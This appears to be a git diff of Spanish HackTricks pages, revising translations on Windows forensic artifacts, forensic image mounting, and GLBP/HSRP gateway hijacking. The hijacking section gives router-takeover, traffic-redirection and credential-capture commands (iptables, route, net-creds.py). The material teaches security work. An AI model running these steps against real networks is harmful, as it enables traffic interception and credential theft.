### Recuperación de Elementos Eliminados
|
||||
|
||||
Cuando se elimina una clave, se marca como tal, pero hasta que se necesite el espacio que ocupa, no se eliminará. Por lo tanto, utilizando herramientas como **Explorador de Registro** es posible recuperar estas claves eliminadas.
|
||||
Cuando se elimina una clave, se marca como tal, pero hasta que se necesite el espacio que ocupa, no se eliminará. Por lo tanto, utilizando herramientas como **Explorador de Registro**, es posible recuperar estas claves eliminadas.
|
||||
|
||||
### Hora de Última Escritura
|
||||
|
||||
|
@ -276,7 +276,7 @@ Cada Clave-Valor contiene una **marca de tiempo** que indica la última vez que
|
|||
|
||||
El archivo/base de datos **SAM** contiene los **hashes de contraseñas de usuarios, grupos y usuarios** del sistema.
|
||||
|
||||
En `SAM\Domains\Account\Users` se puede obtener el nombre de usuario, el RID, último inicio de sesión, último inicio de sesión fallido, contador de inicio de sesión, política de contraseñas y cuándo se creó la cuenta. Para obtener los **hashes** también se **necesita** el archivo/base de datos **SYSTEM**.
|
||||
En `SAM\Domains\Account\Users` se puede obtener el nombre de usuario, el RID, último inicio de sesión, último intento de inicio de sesión fallido, contador de inicio de sesión, política de contraseñas y cuándo se creó la cuenta. Para obtener los **hashes** también se **necesita** el archivo/base de datos **SYSTEM**.
|
||||
|
||||
### Entradas Interesantes en el Registro de Windows
|
||||
|
||||
|
@ -292,23 +292,23 @@ En [este post](https://jonahacks.medium.com/investigating-common-windows-process
|
|||
|
||||
### Aplicaciones Recientes de Windows
|
||||
|
||||
Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\Search\RecentApps` puedes encontrar subclaves con información sobre la **aplicación ejecutada**, la **última vez** que se ejecutó y el **número de veces** que se lanzó.
|
||||
Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\Search\RecentApps` se pueden encontrar subclaves con información sobre la **aplicación ejecutada**, la **última vez** que se ejecutó y el **número de veces** que se lanzó.
|
||||
|
||||
### BAM (Moderador de Actividad en Segundo Plano)
|
||||
|
||||
Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** se ejecutaron (la hora está dentro del valor de datos del registro).
|
||||
Se puede abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` se puede encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** se ejecutaron (la hora está dentro del valor de datos del registro).
|
||||
|
||||
### Prefetch de Windows
|
||||
|
||||
El prefetching es una técnica que permite a una computadora **obtener silenciosamente los recursos necesarios** para mostrar contenido al que un usuario **podría acceder en un futuro cercano** para que los recursos se puedan acceder más rápido.
|
||||
El prefetching es una técnica que permite a una computadora **obtener silenciosamente los recursos necesarios** para mostrar contenido al que un usuario **podría acceder en un futuro cercano** para que los recursos puedan ser accedidos más rápidamente.
|
||||
|
||||
El prefetch de Windows consiste en crear **cachés de los programas ejecutados** para poder cargarlos más rápido. Estas cachés se crean como archivos `.pf` en la ruta: `C:\Windows\Prefetch`. Hay un límite de 128 archivos en XP/VISTA/WIN7 y 1024 archivos en Win8/Win10.
|
||||
El prefetch de Windows consiste en crear **cachés de los programas ejecutados** para poder cargarlos más rápido. Estas cachés se crean como archivos `.pf` dentro de la ruta: `C:\Windows\Prefetch`. Hay un límite de 128 archivos en XP/VISTA/WIN7 y 1024 archivos en Win8/Win10.
|
||||
|
||||
El nombre del archivo se crea como `{nombre_del_programa}-{hash}.pf` (el hash se basa en la ruta y argumentos del ejecutable). En W10 estos archivos están comprimidos. Ten en cuenta que la mera presencia del archivo indica que **el programa fue ejecutado** en algún momento.
|
||||
El nombre del archivo se crea como `{nombre_del_programa}-{hash}.pf` (el hash se basa en la ruta y argumentos del ejecutable). En W10 estos archivos están comprimidos. Cabe destacar que la mera presencia del archivo indica que **el programa fue ejecutado** en algún momento.
|
||||
|
||||
El archivo `C:\Windows\Prefetch\Layout.ini` contiene los **nombres de las carpetas de los archivos que se prefetchearon**. Este archivo contiene **información sobre el número de ejecuciones**, **fechas** de la ejecución y **archivos** **abiertos** por el programa.
|
||||
|
||||
Para inspeccionar estos archivos puedes usar la herramienta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
Para inspeccionar estos archivos se puede utilizar la herramienta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
@ -316,7 +316,7 @@ Para inspeccionar estos archivos puedes usar la herramienta [**PEcmd.exe**](http
|
|||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** tiene el mismo objetivo que prefetch, **cargar programas más rápido** prediciendo lo que se va a cargar a continuación. Sin embargo, no sustituye el servicio prefetch.\
|
||||
**Superprefetch** tiene el mismo objetivo que prefetch, **cargar programas más rápido** al predecir qué se va a cargar a continuación. Sin embargo, no sustituye el servicio de prefetch.\
|
||||
Este servicio generará archivos de base de datos en `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
En estas bases de datos puedes encontrar el **nombre** del **programa**, **número** de **ejecuciones**, **archivos** **abiertos**, **volumen** **accedido**, **ruta** **completa**, **marcos de tiempo** y **marcas de tiempo**.
|
||||
|
@ -366,7 +366,7 @@ Para analizar la información almacenada, se recomienda utilizar la herramienta
|
|||
|
||||
El archivo **Amcache.hve** es esencialmente un registro que registra detalles sobre las aplicaciones que se han ejecutado en un sistema. Normalmente se encuentra en `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Este archivo es notable por almacenar registros de procesos ejecutados recientemente, incluidas las rutas de los archivos ejecutables y sus hashes SHA1. Esta información es invaluable para rastrear la actividad de las aplicaciones en un sistema.
|
||||
Este archivo es notable por almacenar registros de procesos ejecutados recientemente, incluidas las rutas a los archivos ejecutables y sus hashes SHA1. Esta información es invaluable para rastrear la actividad de las aplicaciones en un sistema.
|
||||
|
||||
Para extraer y analizar los datos de **Amcache.hve**, se puede utilizar la herramienta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). El siguiente comando es un ejemplo de cómo utilizar AmcacheParser para analizar el contenido del archivo **Amcache.hve** y mostrar los resultados en formato CSV:
|
||||
```bash
|
||||
|
@ -395,7 +395,7 @@ Puedes encontrarlos en el registro bajo `SYSTEM\ControlSet001\Services`. Puedes
|
|||
Las aplicaciones instaladas se pueden encontrar en `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Este repositorio tiene un **registro** con **cada aplicación instalada** en el sistema dentro de la base de datos **`StateRepository-Machine.srd`**.
|
||||
|
||||
Dentro de la tabla de Aplicaciones de esta base de datos, es posible encontrar las columnas: "ID de la aplicación", "Número de paquete" y "Nombre para mostrar". Estas columnas contienen información sobre aplicaciones preinstaladas e instaladas y se puede determinar si algunas aplicaciones fueron desinstaladas porque los IDs de las aplicaciones instaladas deberían ser secuenciales.
|
||||
Dentro de la tabla de Aplicaciones de esta base de datos, es posible encontrar las columnas: "ID de la aplicación", "Número de paquete" y "Nombre para mostrar". Estas columnas tienen información sobre aplicaciones preinstaladas e instaladas y se puede determinar si algunas aplicaciones fueron desinstaladas porque los IDs de las aplicaciones instaladas deberían ser secuenciales.
|
||||
|
||||
También es posible **encontrar aplicaciones instaladas** en la ruta del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Y **aplicaciones desinstaladas** en: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
@ -418,14 +418,14 @@ Se pueden visualizar desde el Visor de eventos de Windows (**`eventvwr.msc`**) o
|
|||
|
||||
## Comprensión del Registro de eventos de seguridad de Windows
|
||||
|
||||
Los eventos de acceso se registran en el archivo de configuración de seguridad ubicado en `C:\Windows\System32\winevt\Security.evtx`. El tamaño de este archivo es ajustable y, cuando se alcanza su capacidad, los eventos antiguos se sobrescriben. Los eventos registrados incluyen inicios y cierres de sesión de usuarios, acciones de usuarios y cambios en la configuración de seguridad, así como acceso a activos compartidos, archivos, carpetas y activos compartidos.
|
||||
Los eventos de acceso se registran en el archivo de configuración de seguridad ubicado en `C:\Windows\System32\winevt\Security.evtx`. El tamaño de este archivo es ajustable y, cuando se alcanza su capacidad, los eventos antiguos son sobrescritos. Los eventos registrados incluyen inicios y cierres de sesión de usuarios, acciones de usuarios y cambios en la configuración de seguridad, así como acceso a activos compartidos, archivos y carpetas.
|
||||
|
||||
### IDs de eventos clave para la autenticación de usuarios:
|
||||
|
||||
- **EventID 4624**: Indica que un usuario se autenticó correctamente.
|
||||
- **EventID 4625**: Indica un fallo de autenticación.
|
||||
- **EventIDs 4634/4647**: Representan eventos de cierre de sesión de usuario.
|
||||
- **EventID 4672**: Denota inicio de sesión con privilegios administrativos.
|
||||
- **EventID 4672**: Denota un inicio de sesión con privilegios administrativos.
|
||||
|
||||
#### Subtipos dentro de EventID 4634/4647:
|
||||
|
||||
|
@ -445,17 +445,17 @@ Los eventos de acceso se registran en el archivo de configuración de seguridad
|
|||
#### Códigos de estado y subestado para EventID 4625:
|
||||
|
||||
- **0xC0000064**: El nombre de usuario no existe - Podría indicar un ataque de enumeración de nombres de usuario.
|
||||
- **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza o fuerza bruta de contraseña.
|
||||
- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulta en múltiples intentos fallidos de inicio de sesión.
|
||||
- **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza o fuerza bruta de contraseñas.
|
||||
- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulta en múltiples intentos de inicio de sesión fallidos.
|
||||
- **0xC0000072**: Cuenta deshabilitada - Intentos no autorizados de acceder a cuentas deshabilitadas.
|
||||
- **0xC000006F**: Inicio de sesión fuera del horario permitido - Indica intentos de acceso fuera del horario de inicio de sesión establecido, una posible señal de acceso no autorizado.
|
||||
- **0xC0000070**: Violación de restricciones de estación de trabajo - Podría ser un intento de inicio de sesión desde una ubicación no autorizada.
|
||||
- **0xC0000193**: Expiración de cuenta - Intentos de acceso con cuentas de usuario vencidas.
|
||||
- **0xC0000071**: Contraseña vencida - Intentos de inicio de sesión con contraseñas obsoletas.
|
||||
- **0xC0000133**: Problemas de sincronización de tiempo - Grandes discrepancias de tiempo entre el cliente y el servidor pueden ser indicativas de ataques más sofisticados como pass-the-ticket.
|
||||
- **0xC0000224**: Cambio obligatorio de contraseña requerido - Cambios obligatorios frecuentes podrían sugerir un intento de desestabilizar la seguridad de la cuenta.
|
||||
- **0xC0000224**: Cambio obligatorio de contraseña - Cambios obligatorios frecuentes podrían sugerir un intento de desestabilizar la seguridad de la cuenta.
|
||||
- **0xC0000225**: Indica un error del sistema en lugar de un problema de seguridad.
|
||||
- **0xC000015b**: Tipo de inicio de sesión denegado - Intento de acceso con un tipo de inicio de sesión no autorizado, como un usuario intentando ejecutar un inicio de sesión de servicio.
|
||||
- **0xC000015b**: Tipo de inicio de sesión denegado - Intento de acceso con un tipo de inicio de sesión no autorizado, como un usuario que intenta ejecutar un inicio de sesión de servicio.
|
||||
|
||||
#### EventID 4616:
|
||||
- **Cambio de hora**: Modificación de la hora del sistema, podría oscurecer la línea de tiempo de los eventos.
|
||||
|
@ -471,9 +471,9 @@ Los eventos de acceso se registran en el archivo de configuración de seguridad
|
|||
- **10100**: Actualización de controlador USB.
|
||||
- **EventID 112**: Hora de inserción del dispositivo USB.
|
||||
|
||||
Para ejemplos prácticos sobre la simulación de estos tipos de inicio de sesión y oportunidades de robo de credenciales, consulta la [guía detallada de Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
Para ejemplos prácticos sobre la simulación de estos tipos de inicio de sesión y oportunidades de robo de credenciales, consulta la guía detallada de [Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Los detalles de los eventos, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas de los eventos, especialmente notable en el Event ID 4625.
|
||||
Los detalles de los eventos, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas de los eventos, especialmente notable en el Evento ID 4625.
|
||||
|
||||
### Recuperación de eventos de Windows
|
||||
|
||||
|
@ -502,14 +502,14 @@ El EventID 6005 indica el inicio del sistema, mientras que el EventID 6006 marca
|
|||
|
||||
El EventID 1102 de Seguridad señala la eliminación de registros, un evento crítico para el análisis forense.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
@ -517,6 +517,6 @@ Otras formas de apoyar a HackTricks:
|
|||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
# Adquisición e Montaje de Imágenes
|
||||
# Adquisición de Imágenes y Montaje
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -70,10 +70,6 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
|
|||
mount evidence.img /mnt
|
||||
```
|
||||
### EWF
|
||||
|
||||
#### Adquisición de imagen
|
||||
|
||||
El primer paso en la adquisición de una imagen forense es montar la evidencia de solo lectura. Esto se hace para evitar cualquier modificación en la evidencia original. El formato EWF (Expert Witness Compression Format) es un formato comúnmente utilizado para la adquisición de imágenes forenses. Se puede montar una imagen EWF utilizando la herramienta `ewfmount`.
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.E01
|
||||
|
@ -108,22 +104,22 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
Tenga en cuenta que el tamaño del sector es **512** y el inicio es **2048**. Luego monte la imagen de la siguiente manera:
|
||||
Ten en cuenta que el tamaño del sector es **512** y el inicio es **2048**. Luego monta la imagen de la siguiente manera:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -22,10 +22,10 @@ Otras formas de apoyar a HackTricks:
|
|||
## Descripción general del secuestro de FHRP
|
||||
|
||||
### Información sobre FHRP
|
||||
FHRP está diseñado para proporcionar robustez a la red al fusionar múltiples enrutadores en una única unidad virtual, mejorando así la distribución de carga y la tolerancia a fallos. Cisco Systems introdujo protocolos destacados en esta suite, como GLBP y HSRP.
|
||||
FHRP está diseñado para proporcionar robustez a la red al fusionar múltiples enrutadores en una sola unidad virtual, mejorando así la distribución de carga y la tolerancia a fallos. Cisco Systems introdujo protocolos prominentes en esta suite, como GLBP y HSRP.
|
||||
|
||||
### Información del Protocolo GLBP
|
||||
La creación de Cisco, GLBP, funciona en la pila TCP/IP, utilizando UDP en el puerto 3222 para la comunicación. Los enrutadores en un grupo GLBP intercambian paquetes "hello" en intervalos de 3 segundos. Si un enrutador no envía estos paquetes durante 10 segundos, se presume que está fuera de línea. Sin embargo, estos temporizadores no son fijos y pueden modificarse.
|
||||
La creación de Cisco, GLBP, funciona en la pila TCP/IP, utilizando UDP en el puerto 3222 para la comunicación. Los enrutadores en un grupo GLBP intercambian paquetes "hello" a intervalos de 3 segundos. Si un enrutador no envía estos paquetes durante 10 segundos, se presume que está fuera de línea. Sin embargo, estos temporizadores no son fijos y pueden ser modificados.
|
||||
|
||||
### Operaciones y Distribución de Carga de GLBP
|
||||
GLBP se destaca al permitir la distribución de carga entre enrutadores utilizando una única IP virtual junto con múltiples direcciones MAC virtuales. En un grupo GLBP, cada enrutador participa en el reenvío de paquetes. A diferencia de HSRP/VRRP, GLBP ofrece un equilibrio de carga genuino a través de varios mecanismos:
|
||||
|
@ -37,14 +37,14 @@ GLBP se destaca al permitir la distribución de carga entre enrutadores utilizan
|
|||
### Componentes Clave y Terminología en GLBP
|
||||
- **AVG (Puerta de enlace virtual activa):** El enrutador principal, responsable de asignar direcciones MAC a los enrutadores pares.
|
||||
- **AVF (Reenviador virtual activo):** Un enrutador designado para gestionar el tráfico de red.
|
||||
- **Prioridad GLBP:** Una métrica que determina el AVG, comenzando en un valor predeterminado de 100 y oscilando entre 1 y 255.
|
||||
- **Prioridad GLBP:** Una métrica que determina el AVG, comenzando en un valor predeterminado de 100 y variando entre 1 y 255.
|
||||
- **Peso GLBP:** Refleja la carga actual en un enrutador, ajustable manualmente o a través del Seguimiento de Objetos.
|
||||
- **Dirección IP Virtual GLBP:** Sirve como puerta de enlace predeterminada de la red para todos los dispositivos conectados.
|
||||
|
||||
Para las interacciones, GLBP utiliza la dirección multicast reservada 224.0.0.102 y el puerto UDP 3222. Los enrutadores transmiten paquetes "hello" en intervalos de 3 segundos, y se consideran no operativos si se pierde un paquete durante un período de 10 segundos.
|
||||
Para las interacciones, GLBP utiliza la dirección multicast reservada 224.0.0.102 y el puerto UDP 3222. Los enrutadores transmiten paquetes "hello" a intervalos de 3 segundos, y se consideran no operativos si se pierde un paquete durante un período de 10 segundos.
|
||||
|
||||
### Mecanismo de Ataque GLBP
|
||||
Un atacante puede convertirse en el enrutador principal enviando un paquete GLBP con el valor de prioridad más alto (255). Esto puede llevar a ataques de DoS o MITM, permitiendo la interceptación o redirección del tráfico.
|
||||
Un atacante puede convertirse en el enrutador principal enviando un paquete GLBP con el valor de prioridad más alto (255). Esto puede llevar a ataques de DoS o MITM, permitiendo la intercepción o redirección del tráfico.
|
||||
|
||||
### Ejecución de un Ataque GLBP con Loki
|
||||
[Loki](https://github.com/raizo62/loki_on_kali) puede realizar un ataque GLBP inyectando un paquete con prioridad y peso establecidos en 255. Los pasos previos al ataque implican recopilar información como la dirección IP virtual, la presencia de autenticación y los valores de prioridad del enrutador utilizando herramientas como Wireshark.
|
||||
|
@ -76,18 +76,18 @@ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
|||
```
|
||||
### Explicación Pasiva del Secuestro de HSRP con Detalles de Comandos
|
||||
|
||||
#### Descripción General de HSRP (Protocolo de Router en Espera/Redundancia)
|
||||
HSRP es un protocolo propietario de Cisco diseñado para la redundancia de la puerta de enlace de red. Permite la configuración de múltiples routers físicos en una única unidad lógica con una dirección IP compartida. Esta unidad lógica es gestionada por un router principal responsable de dirigir el tráfico. A diferencia de GLBP, que utiliza métricas como prioridad y peso para el equilibrio de carga, HSRP se basa en un único router activo para la gestión del tráfico.
|
||||
#### Descripción General de HSRP (Protocolo de Router en Espera Activa/Redundancia)
|
||||
HSRP es un protocolo propietario de Cisco diseñado para la redundancia de la puerta de enlace de red. Permite la configuración de múltiples routers físicos en una unidad lógica única con una dirección IP compartida. Esta unidad lógica es gestionada por un router primario responsable de dirigir el tráfico. A diferencia de GLBP, que utiliza métricas como prioridad y peso para el equilibrio de carga, HSRP se basa en un único router activo para la gestión del tráfico.
|
||||
|
||||
#### Roles y Terminología en HSRP
|
||||
- **Router Activo de HSRP**: El dispositivo que actúa como puerta de enlace, gestionando el flujo de tráfico.
|
||||
- **Router Activo de HSRP**: El dispositivo que actúa como la puerta de enlace, gestionando el flujo de tráfico.
|
||||
- **Router en Espera de HSRP**: Un router de respaldo, listo para tomar el control si el router activo falla.
|
||||
- **Grupo de HSRP**: Un conjunto de routers que colaboran para formar un único router virtual resistente.
|
||||
- **Dirección MAC de HSRP**: Una dirección MAC virtual asignada al router lógico en la configuración de HSRP.
|
||||
- **Dirección IP Virtual de HSRP**: La dirección IP virtual del grupo de HSRP, actuando como la puerta de enlace predeterminada para los dispositivos conectados.
|
||||
|
||||
#### Versiones de HSRP
|
||||
HSRP viene en dos versiones, HSRPv1 y HSRPv2, que difieren principalmente en capacidad de grupo, uso de IP multicast y estructura de dirección MAC virtual. El protocolo utiliza direcciones IP multicast específicas para el intercambio de información de servicio, con paquetes Hello enviados cada 3 segundos. Se presume que un router está inactivo si no se recibe ningún paquete dentro de un intervalo de 10 segundos.
|
||||
HSRP viene en dos versiones, HSRPv1 y HSRPv2, difiriendo principalmente en capacidad de grupo, uso de direcciones IP multicast y estructura de dirección MAC virtual. El protocolo utiliza direcciones IP multicast específicas para el intercambio de información de servicio, con paquetes Hello enviados cada 3 segundos. Se presume que un router está inactivo si no se recibe ningún paquete dentro de un intervalo de 10 segundos.
|
||||
|
||||
#### Mecanismo de Ataque de HSRP
|
||||
Los ataques de HSRP implican tomar el rol del Router Activo de forma forzada mediante la inyección de un valor de prioridad máximo. Esto puede llevar a un ataque de Hombre en el Medio (MITM). Los pasos esenciales previos al ataque incluyen recopilar datos sobre la configuración de HSRP, lo cual se puede hacer utilizando Wireshark para el análisis de tráfico.
|
||||
|
@ -115,7 +115,7 @@ sudo ip link set eth0 promisc on
|
|||
sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
3. Utilizar Loki para apuntar al router específico, ingresar la contraseña de HSRP descifrada y realizar las configuraciones necesarias para hacerse pasar por el Router Activo.
|
||||
4. Después de obtener el rol de Router Activo, configurar la interfaz de red y las tablas IP para interceptar el tráfico legítimo.
|
||||
4. Después de obtener el rol del Router Activo, configurar la interfaz de red y las tablas IP para interceptar el tráfico legítimo.
|
||||
```shell
|
||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
|
@ -125,7 +125,7 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
6. Utilizar net-creds.py o una utilidad similar para capturar credenciales del tráfico interceptado.
|
||||
6. Utilizar net-creds.py u una utilidad similar para capturar credenciales del tráfico interceptado.
|
||||
```shell
|
||||
sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
